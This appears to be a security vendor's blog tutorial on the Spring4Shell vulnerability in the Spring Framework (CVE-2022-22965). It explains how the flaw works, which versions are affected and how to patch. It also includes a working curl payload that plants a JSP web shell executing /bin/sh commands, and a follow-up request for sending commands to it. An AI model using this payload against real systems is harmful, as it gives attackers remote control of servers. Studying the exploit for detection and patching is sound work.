How to manually detect and exploit Spring4Shell (CVE-2022-22965)
Just a few months after the Log4Shell brutally shook our world, when things started to look calm and peaceful again, the Vulnerability Gods have unleashed upon us. Another similarly named vulnerability in a popular Java framework – Spring4Shell – came to light.
Is CVE-2022-22965 as dangerous and as widespread as its (slightly) older sibling? Stick with us to find out!
What is Spring4Shell?
Spring4Shell or CVE-2022-22965 is a Remote Code Execution vulnerability in the Java Spring Framework which is caused by the ability to pass user-controlled values to various properties of Spring’s ClassLoader. This opens up the possibility for a remote unauthenticated attacker to inject a web shell and gain RCE.
How Spring4Shell works
As previously mentioned, you need to fiddle with the ClassLoader and get to the point where you can successfully inject a web shell into the target system. There might be different approaches to exploiting this vulnerability depending on the application that runs on top of the Spring Framework.
For now, mostly Apache Tomcat servers seem to be targeted with various released PoCs. That’s why we will now continue to describe how our colleague, Iulian, developed the exploit module targeting Apache Tomcat web servers that help you get vulnerability validation.
The idea is to use the ClassLoader to overwrite critical properties in the logging functionality, which will lead the logger to create a web shell instead of a log file.
The properties are as follows:
class.module.classLoader.resources.context.parent.pipeline.first.pattern. This dictates the content of the log file. Here is where you want to place your web shell code.class.module.classLoader.resources.context.parent.pipeline.first.prefix. The prefix refers to the log file’s name. Here is where you name your web shell file.class.module.classLoader.resources.context.parent.pipeline.first.suffix. The suffix indicates the extension of the log file. This one must be .jsp.class.module.classLoader.resources.context.parent.pipeline.first.directory. The directory property determines the location of the log file. If the root directory is remotely accessible, you can use webapps/ROOT as the value for the directory property and you should be able to interact with your web shell by accessing /.jspclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat. This one is optional and it helps with a quality of life improvement for the attacker as it removes cumbersome logging timestamps from the output if the property is left blank.
Business impact of CVE-2022-22965
When successfully exploited, Spring4Shell allows a remote unauthenticated attacker to obtain control of the target and compromise the entire underlying system.
Although this sounds like scary business, like it’s Log4Shell all over again, keep in mind that PoCs circulating around the internet target a vulnerable application deployed on Tomcat as WAR which is not the default configuration.
This leads me to believe that vulnerable targets will not be as easy to find as it was in the case of Log4Shell.
However, the entire security community has proven countless times that it is full of brilliant and capable minds, able to pull out even the most unthinkable exploitation methods.
So even if you don’t run the particular aforementioned configuration, please consider updating to one of the patched versions listed below.
How to manually detect Spring4Shell in ethical hacking engagements
Here’s a curl command you can use to upload a web shell to a vulnerable target. It follows the same 5 steps described in the “How Spring4Shell works” section and it packs the following:
the web shell code in the pattern
the .jsp extension in the suffix
the webapps/ROOT root directory in the directory property
the webshell_name in the prefix
the fileDateFormat left empty.
curl -H "prefix":"<%" -H "suffix":"%>//" -H "c":"Runtime" -H
"Content-Type":"application/x-www-form-urlencoded" -d
'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(new String[]{%22/bin/sh%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=<webshell_name>&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' http://127.0.0.1:<port>/<path>Try a free port scan
Scan for open ports, service versions, and OS detection in one go. (No strings attached. Get a PDF report.)
Once the web shell is uploaded into the root directory, you access it and supply commands with the following GET request:
curl http://127.0.0.1:/.jsp?cmd=<commands>Vulnerable Spring versions
Product Name | Vulnerable Versions | Range |
|---|---|---|
Spring Framework | 5.3.x | 5.3.0 – 5.3.17 |
Spring Framework | 5.2.x | 5.2.0 – 5.2.19 |
How to mitigate CVE-2022-22965
Users of Spring Framework running 5.3.x vulnerable versions should upgrade to 5.3.18 or newer immediately, while users running 5.2.x releases should upgrade to at least 5.2.20.
Spring4Shell estimated impact and the bigger picture
With 16% of organizations globally impacted by the Spring4Shell RCE vulnerability and an estimated 28% from the software industry, identifying and patching business-critical assets remains a top priority.
High-risk vulnerabilities like Spring4Shell and Log4Shell remind us of how fragile the tech ecosystem can be without proactive security assessments, multi-layered security, and awareness training that permeates teams and roles.
If you enjoyed this technical guide and better understood the specifics of this CVE, count on us to cover more of them in the following articles.
